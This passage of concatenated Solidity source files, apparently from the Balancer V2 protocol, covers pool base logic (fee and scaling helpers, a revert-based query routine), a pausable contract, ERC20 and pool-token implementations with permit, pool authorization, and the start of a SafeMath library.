_onExitPool, _downscaleDownArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptIn, amountsOut); } // Internal hooks to be overridden by derived contracts - all token amounts (except BPT) in these interfaces are // upscaled. /** * @dev Called when the Pool is joined for the first time; that is, when the BPT total supply is zero. * * Returns the amount of BPT to mint, and the token amounts the Pool will receive in return. * * Minted BPT will be sent to `recipient`, except for _MINIMUM_BPT, which will be deducted from this amount and sent * to the zero address instead. This will cause that BPT to remain forever locked there, preventing total BTP from * ever dropping below that value, and ensuring `_onInitializePool` can only be called once in the entire Pool's * lifetime. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. */ function _onInitializePool( bytes32 poolId, address sender, address recipient, bytes memory userData ) internal virtual returns (uint256 bptAmountOut, uint256[] memory amountsIn); /** * @dev Called whenever the Pool is joined after the first initialization join (see `_onInitializePool`). * * Returns the amount of BPT to mint, the token amounts that the Pool will receive in return, and the number of * tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * Minted BPT will be sent to `recipient`. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onJoinPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) internal virtual returns ( uint256 bptAmountOut, uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts ); /** * @dev Called whenever the Pool is exited. * * Returns the amount of BPT to burn, the token amounts for each Pool token that the Pool will grant in return, and * the number of tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * BPT will be burnt from `sender`. * * The Pool will grant tokens to `recipient`. These amounts are considered upscaled and will be downscaled * (rounding down) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onExitPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) internal virtual returns ( uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts ); // Internal functions /** * @dev Adds swap fee amount to `amount`, returning a higher value. */ function _addSwapFeeAmount(uint256 amount) internal view returns (uint256) { // This returns amount + fee amount, so we round up (favoring a higher fee amount). return amount.divUp(_swapFeePercentage.complement()); } /** * @dev Subtracts swap fee amount from `amount`, returning a lower value. */ function _subtractSwapFeeAmount(uint256 amount) internal view returns (uint256) { // This returns amount - fee amount, so we round up (favoring a higher fee amount). uint256 feeAmount = amount.mulUp(_swapFeePercentage); return amount.sub(feeAmount); } // Scaling /** * @dev Returns a scaling factor that, when multiplied to a token amount for `token`, normalizes its balance as if * it had 18 decimals. */ function _computeScalingFactor(IERC20 token) private view returns (uint256) { // Tokens that don't implement the `decimals` method are not supported. uint256 tokenDecimals = ERC20(address(token)).decimals(); // Tokens with more than 18 decimals are not supported. uint256 decimalsDifference = Math.sub(18, tokenDecimals); return 10**decimalsDifference; } /** * @dev Returns the scaling factor for one of the Pool's tokens. Reverts if `token` is not a token registered by the * Pool. */ function _scalingFactor(IERC20 token) internal view returns (uint256) { // prettier-ignore if (token == _token0) { return _scalingFactor0; } else if (token == _token1) { return _scalingFactor1; } else if (token == _token2) { return _scalingFactor2; } else if (token == _token3) { return _scalingFactor3; } else if (token == _token4) { return _scalingFactor4; } else if (token == _token5) { return _scalingFactor5; } else if (token == _token6) { return _scalingFactor6; } else if (token == _token7) { return _scalingFactor7; } else { _revert(Errors.INVALID_TOKEN); } } /** * @dev Returns all the scaling factors in the same order as the registered tokens. The Vault will always * pass balances in this order when calling any of the Pool hooks */ function _scalingFactors() internal view returns (uint256[] memory) { uint256 totalTokens = _getTotalTokens(); uint256[] memory scalingFactors = new uint256[](totalTokens); // prettier-ignore { if (totalTokens > 0) { scalingFactors[0] = _scalingFactor0; } else { return scalingFactors; } if (totalTokens > 1) { scalingFactors[1] = _scalingFactor1; } else { return scalingFactors; } if (totalTokens > 2) { scalingFactors[2] = _scalingFactor2; } else { return scalingFactors; } if (totalTokens > 3) { scalingFactors[3] = _scalingFactor3; } else { return scalingFactors; } if (totalTokens > 4) { scalingFactors[4] = _scalingFactor4; } else { return scalingFactors; } if (totalTokens > 5) { scalingFactors[5] = _scalingFactor5; } else { return scalingFactors; } if (totalTokens > 6) { scalingFactors[6] = _scalingFactor6; } else { return scalingFactors; } if (totalTokens > 7) { scalingFactors[7] = _scalingFactor7; } else { return scalingFactors; } } return scalingFactors; } /** * @dev Applies `scalingFactor` to `amount`, resulting in a larger or equal value depending on whether it needed * scaling or not. */ function _upscale(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.mul(amount, scalingFactor); } /** * @dev Same as `_upscale`, but for an entire array. This function does not return anything, but instead *mutates* * the `amounts` array. */ function _upscaleArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = Math.mul(amounts[i], scalingFactors[i]); } } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded down. */ function _downscaleDown(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.divDown(amount, scalingFactor); } /** * @dev Same as `_downscaleDown`, but for an entire array. This function does not return anything, but instead * *mutates* the `amounts` array. */ function _downscaleDownArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = Math.divDown(amounts[i], scalingFactors[i]); } } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded up. */ function _downscaleUp(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.divUp(amount, scalingFactor); } /** * @dev Same as `_downscaleUp`, but for an entire array. This function does not return anything, but instead * *mutates* the `amounts` array. */ function _downscaleUpArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = Math.divUp(amounts[i], scalingFactors[i]); } } function _getAuthorizer() internal view override returns (IAuthorizer) { // Access control management is delegated to the Vault's Authorizer. This lets Balancer Governance manage which // accounts can call permissioned functions: for example, to perform emergency pauses. // If the owner is delegated, then *all* permissioned functions, including `setSwapFeePercentage`, will be under // Governance control. return getVault().getAuthorizer(); } function _queryAction( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData, function(bytes32, address, address, uint256[] memory, uint256, uint256, bytes memory) internal returns (uint256, uint256[] memory, uint256[] memory) _action, function(uint256[] memory, uint256[] memory) internal view _downscaleArray ) private { // This uses the same technique used by the Vault in queryBatchSwap. Refer to that function for a detailed // explanation. if (msg.sender != address(this)) { // We perform an external call to ourselves, forwarding the same calldata. In this call, the else clause of // the preceding if statement will be executed instead. // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(this).call(msg.data); // solhint-disable-next-line no-inline-assembly assembly { // This call should always revert to decode the bpt and token amounts from the revert reason switch success case 0 { // Note we are manually writing the memory slot 0. We can safely overwrite whatever is // stored there as we take full control of the execution and then immediately return. // We copy the first 4 bytes to check if it matches with the expected signature, otherwise // there was another revert reason and we should forward it. returndatacopy(0, 0, 0x04) let error := and(mload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000) // If the first 4 bytes don't match with the expected signature, we forward the revert reason. if eq(eq(error, 0x43adbafb00000000000000000000000000000000000000000000000000000000), 0) { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } // The returndata contains the signature, followed by the raw memory representation of the // `bptAmount` and `tokenAmounts` (array: length + data). We need to return an ABI-encoded // representation of these. // An ABI-encoded response will include one additional field to indicate the starting offset of // the `tokenAmounts` array. The `bptAmount` will be laid out in the first word of the // returndata. // // In returndata: // [ signature ][ bptAmount ][ tokenAmounts length ][ tokenAmounts values ] // [ 4 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // // We now need to return (ABI-encoded values): // [ bptAmount ][ tokeAmounts offset ][ tokenAmounts length ][ tokenAmounts values ] // [ 32 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // We copy 32 bytes for the `bptAmount` from returndata into memory. // Note that we skip the first 4 bytes for the error signature returndatacopy(0, 0x04, 32) // The offsets are 32-bytes long, so the array of `tokenAmounts` will start after // the initial 64 bytes. mstore(0x20, 64) // We now copy the raw memory array for the `tokenAmounts` from returndata into memory. // Since bpt amount and offset take up 64 bytes, we start copying at address 0x40. We also // skip the first 36 bytes from returndata, which correspond to the signature plus bpt amount. returndatacopy(0x40, 0x24, sub(returndatasize(), 36)) // We finally return the ABI-encoded uint256 and the array, which has a total length equal to // the size of returndata, plus the 32 bytes of the offset but without the 4 bytes of the // error signature. return(0, add(returndatasize(), 28)) } default { // This call should always revert, but we fail nonetheless if that didn't happen invalid() } } } else { uint256[] memory scalingFactors = _scalingFactors(); _upscaleArray(balances, scalingFactors); (uint256 bptAmount, uint256[] memory tokenAmounts, ) = _action( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); _downscaleArray(tokenAmounts, scalingFactors); // solhint-disable-next-line no-inline-assembly assembly { // We will return a raw representation of `bptAmount` and `tokenAmounts` in memory, which is composed of // a 32-byte uint256, followed by a 32-byte for the array length, and finally the 32-byte uint256 values // Because revert expects a size in bytes, we multiply the array length (stored at `tokenAmounts`) by 32 let size := mul(mload(tokenAmounts), 32) // We store the `bptAmount` in the previous slot to the `tokenAmounts` array. We can make sure there // will be at least one available slot due to how the memory scratch space works. // We can safely overwrite whatever is stored in this slot as we will revert immediately after that. let start := sub(tokenAmounts, 0x20) mstore(start, bptAmount) // We send one extra value for the error signature "QueryError(uint256,uint256[])" which is 0x43adbafb // We use the previous slot to `bptAmount`. mstore(sub(start, 0x20), 0x0000000000000000000000000000000000000000000000000000000043adbafb) start := sub(start, 0x04) // When copying from `tokenAmounts` into returndata, we copy the additional 68 bytes to also return // the `bptAmount`, the array 's length, and the error signature. revert(start, add(size, 68)) } } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./IBasePool.sol"; /** * @dev Pool contracts with the MinimalSwapInfo or TwoToken specialization settings should implement this interface. * * This is called by the Vault when a user calls `IVault.swap` or `IVault.batchSwap` to swap with this Pool. * Returns the number of tokens the Pool will grant to the user in a 'given in' swap, or that the user will grant * to the pool in a 'given out' swap. * * This can often be implemented by a `view` function, since many pricing algorithms don't need to track state * changes in swaps. However, contracts implementing this in non-view functions should check that the caller is * indeed the Vault. */ interface IMinimalSwapInfoPool is IBasePool { function onSwap( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut ) external returns (uint256 amount); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./BalancerErrors.sol"; import "./ITemporarilyPausable.sol"; /** * @dev Allows for a contract to be paused during an initial period after deployment, disabling functionality. Can be * used as an emergency switch in case a security vulnerability or threat is identified. * * The contract can only be paused during the Pause Window, a period that starts at deployment. It can also be * unpaused and repaused any number of times during this period. This is intended to serve as a safety measure: it lets * system managers react quickly to potentially dangerous situations, knowing that this action is reversible if careful * analysis later determines there was a false alarm. * * If the contract is paused when the Pause Window finishes, it will remain in the paused state through an additional * Buffer Period, after which it will be automatically unpaused forever. This is to ensure there is always enough time * to react to an emergency, even if the threat is discovered shortly before the Pause Window expires. * * Note that since the contract can only be paused within the Pause Window, unpausing during the Buffer Period is * irreversible. */ abstract contract TemporarilyPausable is ITemporarilyPausable { // The Pause Window and Buffer Period are timestamp-based: they should not be relied upon for sub-minute accuracy. // solhint-disable not-rely-on-time uint256 private constant _MAX_PAUSE_WINDOW_DURATION = 90 days; uint256 private constant _MAX_BUFFER_PERIOD_DURATION = 30 days; uint256 private immutable _pauseWindowEndTime; uint256 private immutable _bufferPeriodEndTime; bool private _paused; constructor(uint256 pauseWindowDuration, uint256 bufferPeriodDuration) { _require(pauseWindowDuration <= _MAX_PAUSE_WINDOW_DURATION, Errors.MAX_PAUSE_WINDOW_DURATION); _require(bufferPeriodDuration <= _MAX_BUFFER_PERIOD_DURATION, Errors.MAX_BUFFER_PERIOD_DURATION); uint256 pauseWindowEndTime = block.timestamp + pauseWindowDuration; _pauseWindowEndTime = pauseWindowEndTime; _bufferPeriodEndTime = pauseWindowEndTime + bufferPeriodDuration; } /** * @dev Reverts if the contract is paused. */ modifier whenNotPaused() { _ensureNotPaused(); _; } /** * @dev Returns the current contract pause status, as well as the end times of the Pause Window and Buffer * Period. */ function getPausedState() external view override returns ( bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime ) { paused = !_isNotPaused(); pauseWindowEndTime = _getPauseWindowEndTime(); bufferPeriodEndTime = _getBufferPeriodEndTime(); } /** * @dev Sets the pause state to `paused`. The contract can only be paused until the end of the Pause Window, and * unpaused until the end of the Buffer Period. * * Once the Buffer Period expires, this function reverts unconditionally. */ function _setPaused(bool paused) internal { if (paused) { _require(block.timestamp < _getPauseWindowEndTime(), Errors.PAUSE_WINDOW_EXPIRED); } else { _require(block.timestamp < _getBufferPeriodEndTime(), Errors.BUFFER_PERIOD_EXPIRED); } _paused = paused; emit PausedStateChanged(paused); } /** * @dev Reverts if the contract is paused. */ function _ensureNotPaused() internal view { _require(_isNotPaused(), Errors.PAUSED); } /** * @dev Returns true if the contract is unpaused. * * Once the Buffer Period expires, the gas cost of calling this function is reduced dramatically, as storage is no * longer accessed. */ function _isNotPaused() internal view returns (bool) { // After the Buffer Period, the (inexpensive) timestamp check short-circuits the storage access. return block.timestamp > _getBufferPeriodEndTime() || !_paused; } // These getters lead to reduced bytecode size by inlining the immutable variables in a single place. function _getPauseWindowEndTime() private view returns (uint256) { return _pauseWindowEndTime; } function _getBufferPeriodEndTime() private view returns (uint256) { return _bufferPeriodEndTime; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; import "./IERC20.sol"; import "./SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, Errors.ERC20_DECREASED_ALLOWANCE_BELOW_ZERO) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { _require(sender != address(0), Errors.ERC20_TRANSFER_FROM_ZERO_ADDRESS); _require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_BALANCE); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { _require(account != address(0), Errors.ERC20_MINT_TO_ZERO_ADDRESS); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { _require(account != address(0), Errors.ERC20_BURN_FROM_ZERO_ADDRESS); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, Errors.ERC20_BURN_EXCEEDS_ALLOWANCE); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { _require(owner != address(0), Errors.ERC20_APPROVE_FROM_ZERO_ADDRESS); _require(spender != address(0), Errors.ERC20_APPROVE_TO_ZERO_ADDRESS); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../lib/math/Math.sol"; import "../lib/openzeppelin/IERC20.sol"; import "../lib/openzeppelin/IERC20Permit.sol"; import "../lib/openzeppelin/EIP712.sol"; /** * @title Highly opinionated token implementation * @author Balancer Labs * @dev * - Includes functions to increase and decrease allowance as a workaround * for the well-known issue with `approve`: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * - Allows for 'infinite allowance', where an allowance of 0xff..ff is not * decreased by calls to transferFrom * - Lets a token holder use `transferFrom` to send their own tokens, * without first setting allowance * - Emits 'Approval' events whenever allowance is changed by `transferFrom` */ contract BalancerPoolToken is IERC20, IERC20Permit, EIP712 { using Math for uint256; // State variables uint8 private constant _DECIMALS = 18; mapping(address => uint256) private _balance; mapping(address => mapping(address => uint256)) private _allowance; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address => uint256) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPE_HASH = keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ); // Function declarations constructor(string memory tokenName, string memory tokenSymbol) EIP712(tokenName, "1") { _name = tokenName; _symbol = tokenSymbol; } // External functions function allowance(address owner, address spender) external view override returns (uint256) { return _allowance[owner][spender]; } function balanceOf(address account) external view override returns (uint256) { return _balance[account]; } function approve(address spender, uint256 amount) external override returns (bool) { _setAllowance(msg.sender, spender, amount); return true; } function increaseApproval(address spender, uint256 amount) external returns (bool) { _setAllowance(msg.sender, spender, _allowance[msg.sender][spender].add(amount)); return true; } function decreaseApproval(address spender, uint256 amount) external returns (bool) { uint256 currentAllowance = _allowance[msg.sender][spender]; if (amount >= currentAllowance) { _setAllowance(msg.sender, spender, 0); } else { _setAllowance(msg.sender, spender, currentAllowance.sub(amount)); } return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { _move(msg.sender, recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { uint256 currentAllowance = _allowance[sender][msg.sender]; _require(msg.sender == sender || currentAllowance >= amount, Errors.INSUFFICIENT_ALLOWANCE); _move(sender, recipient, amount); if (msg.sender != sender && currentAllowance != uint256(-1)) { // Because of the previous require, we know that if msg.sender != sender then currentAllowance >= amount _setAllowance(sender, msg.sender, currentAllowance - amount); } return true; } function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { // solhint-disable-next-line not-rely-on-time _require(block.timestamp <= deadline, Errors.EXPIRED_PERMIT); uint256 nonce = _nonces[owner]; bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPE_HASH, owner, spender, value, nonce, deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ecrecover(hash, v, r, s); _require((signer != address(0)) && (signer == owner), Errors.INVALID_SIGNATURE); _nonces[owner] = nonce + 1; _setAllowance(owner, spender, value); } // Public functions function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _DECIMALS; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function nonces(address owner) external view override returns (uint256) { return _nonces[owner]; } // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } // Internal functions function _mintPoolTokens(address recipient, uint256 amount) internal { _balance[recipient] = _balance[recipient].add(amount); _totalSupply = _totalSupply.add(amount); emit Transfer(address(0), recipient, amount); } function _burnPoolTokens(address sender, uint256 amount) internal { uint256 currentBalance = _balance[sender]; _require(currentBalance >= amount, Errors.INSUFFICIENT_BALANCE); _balance[sender] = currentBalance - amount; _totalSupply = _totalSupply.sub(amount); emit Transfer(sender, address(0), amount); } function _move( address sender, address recipient, uint256 amount ) internal { uint256 currentBalance = _balance[sender]; _require(currentBalance >= amount, Errors.INSUFFICIENT_BALANCE); // Prohibit transfers to the zero address to avoid confusion with the // Transfer event emitted by `_burnPoolTokens` _require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS); _balance[sender] = currentBalance - amount; _balance[recipient] = _balance[recipient].add(amount); emit Transfer(sender, recipient, amount); } // Private functions function _setAllowance( address owner, address spender, uint256 amount ) private { _allowance[owner][spender] = amount; emit Approval(owner, spender, amount); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../lib/helpers/Authentication.sol"; import "../vault/interfaces/IAuthorizer.sol"; import "./BasePool.sol"; /** * @dev Base authorization layer implementation for Pools. * * The owner account can call some of the permissioned functions - access control of the rest is delegated to the * Authorizer. Note that this owner is immutable: more sophisticated permission schemes, such as multiple ownership, * granular roles, etc., could be built on top of this by making the owner a smart contract. * * Access control of all other permissioned functions is delegated to an Authorizer. It is also possible to delegate * control of *all* permissioned functions to the Authorizer by setting the owner address to `_DELEGATE_OWNER`. */ abstract contract BasePoolAuthorization is Authentication { address private immutable _owner; address private constant _DELEGATE_OWNER = 0xBA1BA1ba1BA1bA1bA1Ba1BA1ba1BA1bA1ba1ba1B; constructor(address owner) { _owner = owner; } function getOwner() public view returns (address) { return _owner; } function getAuthorizer() external view returns (IAuthorizer) { return _getAuthorizer(); } function _canPerform(bytes32 actionId, address account) internal view override returns (bool) { if ((getOwner() != _DELEGATE_OWNER) && _isOwnerOnlyAction(actionId)) { // Only the owner can perform "owner only" actions, unless the owner is delegated. return msg.sender == getOwner(); } else { // Non-owner actions are always processed via the Authorizer, as "owner only" ones are when delegated. return _getAuthorizer().canPerform(actionId, account, address(this)); } } function _isOwnerOnlyAction(bytes32 actionId) private view returns (bool) { // This implementation hardcodes the setSwapFeePercentage action identifier. return actionId == getActionId(BasePool.setSwapFeePercentage.selector); } function _getAuthorizer() internal view virtual returns (IAuthorizer); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the subtraction of 